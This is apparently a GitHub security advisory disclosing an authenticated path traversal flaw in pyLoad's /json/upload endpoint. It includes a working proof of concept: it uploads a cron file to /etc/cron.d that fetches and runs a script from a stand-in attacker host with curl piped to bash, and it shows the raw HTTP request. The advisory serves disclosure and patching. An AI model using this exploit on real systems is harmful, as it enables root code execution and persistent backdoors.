GHSA-xqpg-92fq-grfg `pyLoad` has Path Traversal Vulnerability in `json/upload` Endpoint that allows Arbitrary File Write

• PyPI pyload-ng: >= 0.5.0b3.dev89, < 0.5.0b3.dev90 → fixed in 0.5.0b3.dev90

Summary An authenticated path traversal vulnerability exists in the `/json/upload` endpoint of the `pyLoad` By manipulating the filename of an uploaded file, an attacker can traverse out of the intended upload directory, allowing them to write arbitrary files to any location on the system accessible to the pyLoad process. This may lead to: • Remote Code Execution (RCE) • Local Privilege Escalation • System-wide compromise • Persistence and backdoors --- Vulnerable Code File: `src/pyload/webui/app/blueprints/json_blueprint.py` ```python @json_blueprint.route("/upload", methods=["POST"]) def upload(): dir_path = api.get_config_value("general", "storage_folder") for file in request.files.getlist("file"): file_path = os.path.join(dir_path, "tmp_" + file.filename) file.save(file_path) ``` Issue: No sanitization or validation on `file.filename`, allowing traversal via `../../` sequences. (Proof of Concept) 1. Clone and install pyLoad from source (`pip install pyload-ng`): ```bash git clone https://github.com/pyload/pyload cd pyload git checkout 0.4.20 python -m pip install -e . pyload --userdir=/tmp/pyload ``` 2. Or install via pip (PyPi) in virtualenv: ```bash python -m venv pyload-env source pyload-env/bin/activate pip install pyload==0.4.20 pyload ``` 1. Login and obtain session token ```bash curl -c cookies.txt -X POST http://127.0.0.1:8000/login \ -d "username=admin&password=admin" ``` 2. Create malicious cron payload ```bash echo "*/1 * * * * root curl http://attacker.com/payload.sh | bash" > exploit ``` 3. Upload file with path traversal filename ```bash curl -b cookies.txt -X POST http://127.0.0.1:8000/json/upload \ -F "file=@exploit;filename=../../../../etc/cron.d/pyload_backdoor" ``` 4. On the next cron tick, a reverse shell or payload will be triggered. BurpSuite HTTP Request ``` POST /json/upload HTTP/1.1 Host: 127.0.0.1:8000 Cookie: session=SESSION_ID_HERE Content-Type: multipart/form-data; boundary=------------------------d74496d66958873e --------------------------d74496d66958873e Content-Disposition: form-data; name="file"; filename="../../../../etc/cron.d/pyload_backdoor" Content-Type: application/octet-stream */1 * * * * root curl http://attacker.com/payload.sh | bash --------------------------d74496d66958873e-- ```